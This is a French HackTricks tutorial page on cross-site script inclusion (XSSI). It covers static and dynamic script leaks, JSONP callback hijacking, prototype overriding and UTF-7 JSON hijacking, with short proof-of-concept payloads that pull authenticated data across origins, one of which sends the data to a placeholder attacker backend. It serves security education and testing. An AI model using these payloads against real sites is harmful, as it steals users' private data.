XSSI (Inclusion de script entre sites)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
Découvrez The PEASS Family, notre collection exclusive de NFTs
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Les informations ont été prises sur https://www.scip.ch/en/?labs.20160414

Informations de base

XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une ressource est incluse à l'aide de la balise script, la SOP ne s'applique pas, car les scripts doivent pouvoir être inclus entre les domaines. Un attaquant peut donc lire tout ce qui a été inclus en utilisant la balise script.

Cela est particulièrement intéressant en ce qui concerne le JavaScript dynamique ou JSONP, lorsque des informations d'autorité ambiante telles que les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource à partir d'un hôte différent.

Types

JavaScript statique (XSSI régulier)
JavaScript statique, accessible uniquement lorsqu'il est authentifié
JavaScript dynamique
Non-JavaScript

XSSI régulier

Les informations privées sont situées à l'intérieur d'un fichier JS accessible globalement, vous pouvez simplement détecter cela en lisant des fichiers, en recherchant des mots-clés ou en utilisant des expressions régulières.
Pour exploiter cela, il suffit d'inclure le script avec les informations privées à l'intérieur du contenu malveillant :

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

XSSI Dynamique basé sur JavaScript et XSSI JavaScript Authentifié

Des informations confidentielles sont ajoutées au script lorsqu'un utilisateur le demande. Cela peut être facilement découvert en envoyant la requête avec et sans les cookies, si des informations différentes sont récupérées, alors des informations confidentielles pourraient être contenues. Pour faire cela automatiquement, vous pouvez utiliser l'extension burp : https://github.com/luh2/DetectDynamicJS.

Si les informations résident dans une variable globale, vous pouvez l'exploiter en utilisant le même code que pour le cas précédent.
Si les données confidentielles sont envoyées dans une réponse JSONP, vous pouvez remplacer la fonction exécutée pour récupérer les informations :

<script>
      //The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
      var angular = function () { return 1; };
      angular.callbacks = function () { return 1; };      
      angular.callbacks._7 = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

Ou vous pouvez également définir une fonction préparée à exécuter par la réponse JSONP :

<script>
      leak = function (leaked) {
	  alert(JSON.stringify(leaked));
      };  
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Si une variable ne réside pas dans l'espace de noms global, il est parfois possible de l'exploiter en utilisant la manipulation de prototype. La manipulation de prototype abuse de la conception de JavaScript, à savoir que lors de l'interprétation du code, JavaScript parcourt la chaîne de prototype pour trouver la propriété appelée. L'exemple suivant est extrait de l'article Les dangers inattendus de JavaScript dynamique et montre comment en remplaçant une fonction pertinente de type Array et en accédant à this, une variable non globale peut également être divulguée.

(function(){
  var arr = ["secret1", "secret2", "secret3"];
  // intents to slice out first entry
  var x = arr.slice(1);
  ...
})();

Dans le code original, slice du type Array accède aux données qui nous intéressent. Un attaquant peut, comme décrit dans la clause précédente, remplacer slice et voler les secrets.

Array.prototype.slice = function(){
  // leaks ["secret1", "secret2", "secret3"]
  sendToAttackerBackend(this);
};

Le chercheur en sécurité Sebastian Lekies a récemment mis à jour sa liste de vecteurs.

Non-Script-XSSI

Takeshi Terada décrit un autre type de XSSI dans son article Identifier based XSSI attacks. Il a pu divulguer des fichiers Non-Script cross-origin en incluant, entre autres, des fichiers CSV en tant que source dans la balise script, en utilisant les données comme noms de variables et de fonctions.

La première attaque XSSI publiquement documentée remonte à 2006. L'entrée de blog de Jeremiah Grossman Advanced Web Attack Techniques using GMail décrit un XSSI qui, en remplaçant le constructeur Array, a pu lire le carnet d'adresses complet d'un compte Google.

En 2007, Joe Walker a publié JSON is not as safe as people think it is. Il utilise la même idée pour voler du JSON qui se trouve à l'intérieur d'un Array.

D'autres attaques connexes ont été menées en injectant du contenu encodé en UTF-7 dans le JSON pour échapper au format JSON. Cela est décrit par Gareth Heyes, l'auteur de Hackvertor, dans l'entrée de blog JSON Hijacking publiée en 2011. Dans un test rapide, cela était toujours possible dans Microsoft Internet Explorer et Edge, mais pas dans Mozilla Firefox ou Google Chrome.

JSON avec UTF-7:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

Inclure le JSON dans la page de l'attaquant

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>